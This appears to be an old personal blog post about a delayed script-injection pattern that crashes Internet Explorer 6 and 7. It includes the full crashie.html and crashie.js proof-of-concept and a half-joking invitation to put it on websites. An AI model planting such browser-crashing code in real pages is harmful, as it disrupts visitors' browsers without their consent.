Skip to main content

Fixed banners, killed IE

/galleries/dropbox/crashie.thumbnail.png

Sometimes I want to do something to prevent users from using Internet Explorer. We are having constant problems with its scripting, CSS and rendering capabilities when it comes to the real-world UI.

We started using internal banner system on intranet pages the other day to catch attention of the whole staff to some important changes/releases/events. And, due to the fact that ad server may not be accessible for 24/7 it was necessary to modify the page to postpone the banner display until all the page is displayed. IE failed the job miserably crashing in MSHTML.DLL. Feel free to use this “crashie” on your web site.

crashie.html:

<html>
    <head>
        <title>Crash IE here</title>
    </head>
    <body>
        This page will crash IE6 and IE 7
        <div id="crasher"></div>
        <script type="text/javascript">
            var crasher = document.getElementById('crasher');
            var script = document.createElement('script');
            script.type="text/javascript";
            script.src = "/crashie.js";
            crasher._preparedNode = script;
            function crashIe() {
                var crasher = document.getElementById('crasher');
                crasher.appendChild(crasher._preparedNode);
            }
            setTimeout('crashIe()', 1000);
        </script>
    </body>
</html>

crashie.js:

var crasher1 = document.getElementById("crasher");
crasher1.innerHTML = "<a href='http://myrtg.blogspot.com'>myrtg.blogspot.com</a>";

This is not yet used at this site though :) Another approach is used here: www.crashie.com when DOM is modified even before it is ready. If you think that this code can be made more compact, keep in mind that it aimed to solve a real-world problem and instead created one, so I left it almost unmodified. You may test it from my home webserver, please note that it may not be online 24/7 as it is hosted on my laptop.